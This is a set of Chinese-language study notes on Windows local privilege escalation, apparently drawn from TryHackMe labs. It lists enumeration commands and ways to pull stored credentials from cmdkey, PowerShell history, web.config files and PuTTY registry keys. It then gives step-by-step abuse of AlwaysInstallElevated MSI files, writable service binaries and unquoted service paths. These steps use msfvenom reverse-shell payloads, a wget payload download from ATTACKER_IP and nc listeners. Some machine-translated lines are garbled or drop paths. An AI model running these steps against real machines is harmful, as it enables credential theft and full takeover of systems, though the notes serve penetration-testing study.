信息收集:
systeminfo 查询系统信息
hostname 主机名
net user 查看用户信息
netstat -ano|find "3389" 查看服务pid号
wmic os get caption 查看系统名
wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息
wmic product get name,version 查看当前安装程序wmic service list brief 查询本机服务
wmic process list brief 查询本机进程
net share 查看本机共享列表
netsh firewall show config 查看防火墙配置
查看windows的历史命令
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
windows存储密码的地方:
C:/Windows/System32/config
保存的凭据:
cmdkey /list
虽然看不到密码,但是可猜测用户,用来暴力破解密码:
runas /savecred /user:admin cmd.exe
IIS配置,IIS是windows默认安装的web服务器,IIS 上的网站配置存储在调用的文件中,可以存储数据库或配置的身份验证机制的密码
C:\inetpub\wwwroot\web.config C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString 可以快速在文件上查找数据库连接字符串
从软件中提权:PUTTY
PuTTY是Windows系统上常见的SSH客户端。用户不必每次都指定连接的参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供以后使用。虽然 PuTTY 不允许用户存储其 SSH 密码,但它将存储包含明文身份验证凭据的代理配置。
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s 在注册表项下搜索代理密码
计划任务:
查看目标系统上的计划任务,您可能会看到计划任务丢失了其二进制文件,或者正在使用您可以修改的二进制文件。
schtasks /query /tn vulntask /fo list /v 要查看当前用户是否可以修改或覆盖“要运行的任务”可执行文件: icacls 文件
安装程序权限提升:
Windows 安装程序文件(也称为.msi文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,可以将这些配置为从任何用户帐户(甚至是非特权用户帐户)以更高的权限运行。这可能会允许我们生成以管理员权限运行的恶意 MSI 文件。
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
为了能够利用此漏洞,应同时设置这两个漏洞。否则,将无法进行开发。如果设置了这些, 则可以使用 生成恶意.msi文件,如下所示:
msfvenom msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_10.10.147.61 LPORT=LOCAL_PORT -f msi -o malicious.msi
由于这是一个反向外壳,您还应该运行相应配置的 Metasploit 处理程序模块。 传输已创建的文件后,可以使用以下命令运行安装程序并接收反向 shell:
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
Windows 服务由服务控制管理器 (SCM) 管理。
SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态以及通常提供配置服务的方法的过程。
Windows 计算机上的每个服务都有一个关联的可执行文件,每当启动服务时,SCM 都会运行该可执行文件。请务必注意,服务可执行文件实现特殊功能以便能够与 SCM 通信,因此无法将任何可执行文件作为服务成功启动。每个服务还指定将在其下运行服务的用户帐户。
sc qc apphostsvcaa
sc qc WindowsScheduler
我们可以看到,易受攻击的软件安装的服务以 svcuser1 的形式运行,并且与该服务关联的可执行文件在 .然后,我们继续检查可执行文件的权限:
C:\Progra~2\System~1\WService.exe icacls
C:\PROGRA~2\SYSTEM~1\WService.exe
在这里,我们有一些有趣的东西。“所有人”组对服务的可执行文件具有修改权限 (M)。这意味着我们可以简单地用我们偏好的任何有效负载覆盖它,服务将以配置的用户帐户的权限执行它。
让我们使用 msfvenom 生成一个 exe-service payload,并通过 python Web 服务器提供它: wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
cd C:\PROGRA~2\SYSTEM~1\
move WService.exe WService.exe.bkp
move C:\Users\thm-unpriv\rev-svc.exe WService.exe
icacls WService.exe /grant Everyone:F
然后攻击机上启动nc或者mesfconsole
sc stop windowsscheduler
sc start windowsscheduler
正常情况下可能要等待服务重新启动
未带引号的服务路径(Unquoted Service Paths)
当我们无法像以前一样直接写入服务可执行文件时,可能仍然有机会通过使用相当模糊的功能强制服务运行任意可执行文件。
使用 Windows 服务时,当服务配置为指向“未引号”可执行文件时,会发生非常特殊的行为。通过不引号,我们的意思是关联可执行文件的路径没有正确引用以考虑命令上的空格。
SCM 不会像预期的那样失败,而是尝试帮助用户并开始按表中所示的顺序搜索每个二进制文件:
- 首先,搜索 .如果存在,服务将运行此可执行文件。
C:\\MyPrograms\\Disk.exe
- 如果后者不存在,它将搜索 .如果存在,服务将运行此可执行文件。
C:\\MyPrograms\\Disk Sorter.exe
- 如果后者不存在,它将搜索 .此选项预计会成功,并且通常会在默认安装中运行。
C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe
从这种行为中,问题变得很明显。如果攻击者创建在预期的服务可执行文件之前搜索的任何可执行文件,他们可以强制服务运行任意可执行文件。
可以列举出所有的路径中不含引号的:
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
icacls c:\MyPrograms
该组具有 AD 和 WD 权限,允许用户分别创建子目录和文件。
使用 msfvenom 创建 exe-service 有效负载并将其传输到目标主机的过程与以前相同,因此请随意创建以下有效负载并将其像以前一样上传到服务器。我们还将启动一个侦听器,以便在执行反向 shell 时接收它:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe
有效负载进入服务器后,将其移动到可能发生劫持的任何位置。在这种情况下,我们将有效负载移动到 我们还将授予每个人对文件的完全权限,以确保它可以由服务执行
move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
重新启动服务后,有效负载应执行:
sc stop "disk sorter enterprise"
sc start "disk sorter enterprise" (正常情况下,应该等待服务进行重启)
案例:
首先上传PowerUP
Invoke-AllChecks
请密切注意设置为 true 的“可以重新启动”选项。显示为未带引号的服务路径漏洞的服务的名称
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker ip> LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o ASCService.exe
现在我们生成了一个名为 ASCService.exe 的反向 shell。
sc stop AdvancedSystemCareService9
copy ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
nc -lvnp 4443
sc start AdvancedSystemCareService9 `
然后就拥有了访问权限